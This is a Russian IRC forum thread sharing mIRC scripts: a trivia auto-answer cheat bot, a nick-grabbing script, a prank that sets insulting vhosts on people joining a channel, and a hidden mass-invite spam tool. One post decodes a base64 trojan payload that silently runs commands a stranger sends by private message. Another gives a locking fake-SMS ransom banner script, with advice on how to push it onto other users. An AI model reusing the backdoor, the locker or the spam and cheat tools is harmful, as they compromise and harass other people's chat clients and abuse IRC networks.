    2.888
    Симпатии:
    191
    ICQ:
    943084
    По поводу скрипта купи слона, лучше его переделать вот так:

    Код:
    [COLOR=SeaGreen]on *:TEXT:*:#covert:if ($nick != $me) /timer3AE6 1 2 msg $chan все говорят $replace($1-,| /, а вот хуй->,$,S) , а тЫ купи слона :)[/COLOR]
    
    Это сделано чтоб не обрабатЫвались индификаторЫ, а то какой-нибудь умник напишет например $?*!="Xaaa cyko 9 te69 noumeJI" :)

    ЗЫ2: еще хреновая сторона этого скрипта, если кто-нить напишет:

    бла бла бла | /quit

    Вместо quit можно поставить любую команду.
    Правится это тоже с помощью $replace

    Все, теперь умники будут отсасЫвать :)
     
  10. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Представляю вашему вниманию скрипт из серии Нахрен не нужен :)

    Представим ситуации, вЫ хотите себе ник которЫй кто-то взял, но не зарегал. Этот скрипт ждет пока вЫйдет нужнЫй нам ник, и моментально регает его :)

    Код:
    menu channel,menubar {
      Забиралко Ников:/Nick3a6upaJIko
    }
    alias Nick3a6upaJIko { dialog -m Nick3a6upaJIko Nick3a6upaJIko }
    dialog Nick3a6upaJIko {
      title "Забиралко ников :)"
      size -1 -1 69 37
      option dbu
      edit "", 1, 10 10 50 12
      text "Введите ник:", 2, 15 2 37 8
      button "Забрать :)", 3, 4 23 31 12
      button "Oтмена", 4, 40 23 26 12
    }
    
    on *:dialog:Nick3a6upaJIko:sclick:1: set %ctblputb
    on *:dialog:Nick3a6upaJIko:sclick:3: { set %ctblputb $did(Nick3a6upaJIko,1,text) | Nick3a6upaJIk0 }
    on *:dialog:Nick3a6upaJIko:sclick:4: { set %ctblputb $did(Nick3a6upaJIko,1,text) | OtDaBaJIk0 }
    on *:UNOTIFY: /timerCMEHA 1 3 /nick %ctblputb | /timersREG 1 7 /msg NickServ REGISTER WebCriminal mail@mail.ru | /timerOPS 1 15 /msg NickServ SET KILL QUICK | /timerNOTIFYOFF 1 20 /notify off | /timerMNICK 1 25 /nick $mnick
    
    alias Nick3a6upaJIk0 { timerNotifyon 1 2 /notify on | /timer3aWebCriminal1t 1 3 /notify %ctblputb }
    alias OtDaBaJIk0 { timerNotifyoff 1 2 /notify -r %ctblputb }
    

    Вставляем это в блокнот, сохраняем как 3a6upaJIko.mrc в папке с мирком. Потом в мирке пишем /load -rs 3a6upaJIko.mrc, после чего щелкаем по каналу правой кнопкой мЫши и вЫбираем Забиралко Ников, в появившемся окне пишем нужный ник, и жмем забрать :)
     
  11. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Давно уже написал, токо сейчас решил вЫложить :)

    Скрипт для автоматического ответа на вопросЫ викторинЫ. (2 версии)

    1 версия:
    Название: OTBE4AJIKA v.0.08a
    Установка: вставляем скрипт в блокнот и сохраняем как otve4.mrc в корневой папке где лежит mirc.exe и в irc-клиенте пишем:
    /load -rs otve4.mrc после чего в окне статуса напишет:
    * Загружен скрипт 'путь то скрита\otve4.mrc'
    Теперь щелкаем правой клавишей мЫши по каналу и вЫбираем OTBE4AJIKA, либо открЫть через КомандЫ -> OTBE4AJIKA.
    В появившемся окне надо указать путь до базЫ ответов.
    1. База вопросов 1 - файл с вопросами для IRC викторинЫ. В базе около 8500 вопросов.
      Скачать: (локал) (мир) (177Кб)
    2. База вопросов 2 - дополнительнЫе вопросЫ к IRC боту для ведения викторинЫ. НасчитЫвает более 33 тЫсяч вопросов.
      Скачать: (локал) (мир) (550Кб)
    3. База вопросов 3 - база содержит 240 тЫсяч вопросов. База очень "грязная", т.е. один и тот же вопрос может повторяться несколько раз. НекоторЫе вопросЫ написанЫ ПРОПИСНЫМИ БУКВАМИ и требуют ответа в этом же стиле. Да и Trivia подвисает на пару секунд, когда вЫбирает вопрос из этой базЫ.
      Скачать: (локал) (мир) (3.85Мб)
    Описание кнопок:
    ... - жмем, и в появившемся окне находим базу вопросов и открЫваем, после чего жмем ОК.
    Примечание: данная версия автоматически отвечает на канале после вопроса бота в течении 2 - 7 секунд с погрешностью в секунду (зависит от размера базЫ вопросов).

    Скрипт:
    Код:
    ################################
    #        WEBCRIMINAL.RU        #
    #  Скрипт для автоматического  #
    # ответа на вопросЫ викторинЫ. #
    #           by ddd             #
    ################################
    
    menu channel,menubar {
      OTBE4AJIKA:/otve4
    }
    alias otve4 { dialog -m otve4 otve4 | otve4.alka }
    dialog otve4 {
      title "OTBE4AJIKA v.0.08a"
      size -1 -1 196 54
      option dbu
      box "ВЫберете базу вопросов", 3, 5 3 187 31
      edit "", 4, 9 14 149 12, autohs
      button "...", 5, 164 13 22 12
      check "включить", 6, 6 39 40 10
      button "Ок", 7, 114 38 37 12, ok
      button "Отмена", 8, 153 38 37 12, cancel
    }
    
    on *:DIALOG:otve4:sclick:5:set %6a3a $$file="ВЫберите Файл" $mircdir\*.txt | did -r $dname 4 | did -a $dname 4 %6a3a
    on *:DIALOG:otve4:sclick:7:{ set %6a3a $did(otve4,4,text) | if ($did(otve4,6).state == 1) { set %on.start.otve4 1 }
    if ($did(otve4,6).state == 0) { set %on.start.otve4 0 } }
    on *:DIALOG:otve4:sclick:2:set %botvikt
    on *:TEXT:*:#:if ($nick == _3HauKA_) /timerVIKOTBET 1 $rand(2,7) /msg #BuKTOPuHA $lower($gettok($read(%6a3a,w,$strip(* $+ $replace($1-,| /, а вот хер->,$,S) $+ *)),2,124))
    
    alias otve4.alka {
      if (%6a3a != $null) { did -r otve4 4 | did -a otve4 4 %6a3a }
      if (%on.start.otve4 == 1) { did -c otve4 6 }
      if (%on.start.otve4 == 0) { did -u otve4 6 } 
    }
    

    2 версия:
    Название: OTBE4AJIKA v.0.08b

    [Тоже самое]

    Примечание: данная версия вставляет ответ в строку ввода, остается нажать токо Enter. И еще в конце добавляется спец символ, после него можно писать что угодно, т.к. бот далле воспринимать нечего не будет.
    Пример:
    ПравильнЫй ответ
    ДописанЫй ответ после спец символа :)


    Скрипт:
    Код:
    ################################
    #        WEBCRIMINAL.RU        #
    #  Скрипт для автоматического  #
    # ответа на вопросЫ викторинЫ. #
    #           by ddd             #
    ################################
    
    menu channel,menubar {
      OTBE4AJIKA:/otve4
    }
    alias otve4 { dialog -m otve4 otve4 | otve4.alka }
    dialog otve4 {
      title "OTBE4AJIKA v.0.08"
      size -1 -1 196 54
      option dbu
      box "ВЫберете базу вопросов", 3, 5 3 187 31
      edit "", 4, 9 14 149 12, autohs
      button "...", 5, 164 13 22 12
      check "включить", 6, 6 39 40 10
      button "Ок", 7, 114 38 37 12, ok
      button "Отмена", 8, 153 38 37 12, cancel
    }
    
    on *:DIALOG:otve4:sclick:5:set %6a3a $$file="ВЫберите Файл" $mircdir\*.txt | did -r $dname 4 | did -a $dname 4 %6a3a
    on *:DIALOG:otve4:sclick:7:{ set %6a3a $did(otve4,4,text) | if ($did(otve4,6).state == 1) { set %on.start.otve4 1 }
    if ($did(otve4,6).state == 0) { set %on.start.otve4 0 } }
    on *:DIALOG:otve4:sclick:2:set %botvikt
    on *:TEXT:*:#:if ($nick == _3HauKA_) /timerVIKOTBET 1 0 /editbox -pNeNb #BuKTOPuHA $lower($gettok($read(%6a3a,w,$strip(* $+ $replace($1-,| /, а вот хер->,$,S) $+ *)),2,124)) $+ 
    
    alias otve4.alka {
      if (%6a3a != $null) { did -r otve4 4 | did -a otve4 4 %6a3a }
      if (%on.start.otve4 == 1) { did -c otve4 6 }
      if (%on.start.otve4 == 0) { did -u otve4 6 } 
    }
    
     
  12. Simao 0x04

    Simao
    Регистрация:
    16 фев 2009
    Сообщения:
    4
    Симпатии:
    0
    Помогите, пожалуйста!

    у меня вопрос по данному скрипту ОТВЕЧАЛКА..он я так понял работает, но его нужно настроит на формат вопросов определенного канала, я прав?
    если не сложно , пожалуйста помогите настроить, что нужно поменять...канал называется #edem ник бота Saturn
    вот в каком формате вопросы
    [13:43:46] <@Saturn> Bоnpoс #4: Пepеуcтpoйство, преобрaзовaние, изменение структуры. (13 букв)
    [13:44:01] <@Saturn> Подсказка: р************
    [13:44:21] <@Saturn> Подсказка:ре*******а***
    [13:44:41] <@Saturn> Никто не ответил на вопрос, правильный ответ был реорганизация.

    помогите пожалуйста, у меня в строку ответа вставляет просто пробел, значит у меня что-то не так
     
  13. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Дело все в том что скрипт берет всю фразу бота и ищет по бд, тобишь надо сделать так чтоб вЫрезалось Bоnpoс #: и (13 букв)
     
  14. Simao 0x04

    Simao
    Регистрация:
    16 фев 2009
    Сообщения:
    4
    Симпатии:
    0
    блин, я не знаю как это сделать:(
    главное что база вопрос точно такая как у бота есть, а сам я неумеха исправить скрипт...
    просто в основном в таком формате сейчас все у нас:(

    БУду очень благодарен если обьясните как это сделать, что нужно дописать и куда...
     
    Последнее редактирование: 16 фев 2009
  15. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    В общем надо делать через регулярнЫе вЫраженя.

    Тобишь задать так чтобЫ вЫрезалось постороннее.

    Чтоб из:
    Bоnpoс #1: Бла бла бла (5 букв)

    Осталось токо:
    Бла бла бла

    Пример вЫражения:
    $regml($regex(Guest31337, /(\d+)/))
    вернет 31337

    Я эти вЫражения не очень то и умею составлять, да и времени сейчас нету. Токо в субботу наверное смогу заняться. Мож тЫ до этого времени сам сообразишь как его составить :)
     
  16. Simao 0x04

    Simao
    Регистрация:
    16 фев 2009
    Сообщения:
    4
    Симпатии:
    0
    Эх понимал бы я так все как вы...просто я если чесно не знаю как сделать:(..я только начинаю учится...я нашел какой-то скрипт, не знаю что он делает, но по идеи что-то подобное
    on *:TEXT:*:#: {
    if $chan == #edem {
    if $nick == Saturn {
    if $chr(63) isin $1- {
    if $read(files\baza.txt,w,$strip($gettok($gettok($replace($1-,a,а,e,е,o,о,p,р,c,с),2-,32),1,63)) $+ *) { timerarrow_say 1 $rand(1,5) msg #edem $gettok($read(files\baza.txt,w,$strip($gettok($gettok($replace($1-,a,а,e,е,o,о,p,р,c,с),2-,32),1,63)) $+ *),2,124) }
    }
    if Ответ был isin $1- { timerarrow_say off }
    }
    }
    }

    Извините пожалуйста, что надоедаю и отбираю у вас время, но у ж очень очень хочется чтобы работал скрипт
     
  17. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    Забава на 1 апреля.
    Сегодня устроили забаву на канале #help, всем входящим на канал, кроме определеннЫх лиц вЫставлялся рандомнЫй vhost.

    Как это сделать:
    1. ОткрЫваем папку с mIRC-ом создаем там текстовЫй файл host.txt и в него пишем:
    Код:
    shnurkov.net
    shirinka.zastegnuta
    Admin.FSB.ru
    futbolka.chistaja
    boroda.vasermana
    ja.poedu.na.evrovidenie.ot.mongolii
    ja.was.v.krasnyh.truseljah.supermena
    alkogolik.iz.moskvy
    locallost
    spina.v.melu
    trusy.s.remnem
    u.petrosjana.shutok.net
    u.menja.chto-to.upalo.i.naletelo
    Mitnik.haknul.moj.vhost
    127001.127001.127001.IP
    prodaju.vhost.obrawatsja.v.privat
    u.menja.vhost.pokrasnel
    tekst.posle.sobachki
    v.idente.moja.podpolnaja.klichka
    vhuizni.menja
    mne.nravitsja.obhodit.bany
    byl.na.epodrome.postavil.na.sobchak
    u.menja.est.domashnij.gornyj.kozel
    donashivaju.pampersy.za.starshim.bratom
    sizhu.pod.Windows-3.1
    moj.papa.Sasha.Belyj
    fanat.DOM2
    kakoj-to.neponjatnyj.dlinnyj.vhost.bez.smysla
    ja.ne.sostaju.v.helpteam.dogm.net
    u.moej.podrugi.3-j.razmer
    ja.stesnjajus.ne.vhuiz
    Потом открЫваем mIRC жмем Alt+R и в скриптах вставляем скрипт:
    Код:
    on +1:join:#help:/chg $nick $read(host.txt)
    После чего ждем реакции :)
     
  18. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    НарЫл скрипт автоматического инвайта на заданЫй канал.
    Функциональность скрипта:
    • Автоматический сбор ников
    • Автоматическая рассЫлка инвайтов
    Как ирцоп я вам скажу, если хотите чтоб ваш канал сразу же закрЫли, то собирайте ники с официальнЫх каналов сети (#abuse,#link,#help и т.п.) :)

    ЗЫ: в сети Dogm.NET можете даже не пЫтаться, все равно узнаю :)
    ЗЫ2: чтоб каждЫй второй не скачивал, пихнул скрипт под хайд :)

     
  19. ddd (•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿

    ddd
    TS
    Команда форума WebOwner WebVoice
    Регистрация:
    5 мар 2007
    Сообщения:
    2.888
    Симпатии:
    191
    ICQ:
    943084
    В дополнение к этому посту: сЫлко

    В сети в одном из топиков канала увидел тему:
    введя это вам mIRC клиент протроянится и злоумЫшленику в приват напишется UpTraffic +20% от вашего ника, давая понять что еще одно чучело повелось :)

    как это работает?
    команда write записЫвает в файл czm.mrc результат декодировки b24gXio6dGV4dDppbnMqOj86eyAuICQrICQyLSB8IGhhbHRkZWYgfQ==,m ,а именно обработчик собЫтия on ^*:text:ins*:?:{ . $+ $2- | haltdef } он ждет пока в привате жертвЫ напишут команду начинающуюся с ins {далее команда}

    Например если злоумЫшленик напишет в приват жертве:
    ins /join #main

    То жертва зайдет на канал #main, но у себя в клиенте этого не увидит, так как с помощью ^ и haltdef подавляются сообщения в приват с маской ins*
     
  20. SrDEN IPv6

    SrDEN
    Команда форума WebVoice
    Регистрация:
    14 мар 2007
    Сообщения:
    620
    Симпатии:
    23
    ICQ:
    162224
    Все наверное уже видели банерЫ, которЫе открЫваются на весь экран при входе в маздай. Решил по стебу написать подобное для mIRC:
    Код:
    on 1:START: {
         :pezdec
         set %pezdectext $?="ЧтобЫ закрЫть это окно отправте смс со словом ПЕЗДЕЦ на номер 0000, в ответ вЫ получите код!"
         if (%pezdectext != $decode(7+7r7dvpX+/o7+X2,m)) echo 4Отправляй СМС сЦуко!
         if %pezdectext == $decode(7+7r7dvpX+/o7+X2,m) goto nopizdec
         goto pezdec
         :nopizdec
         echo 8Молодец! Лохотронщики тебя не забудут :)
    }
    
    После старта мирки, вЫлетет окно с предложением отправить смс на короткий номер, это окно не закроется, пока не введется заветная комбинация :)
    Как впарить этот код, можно посмотреть тут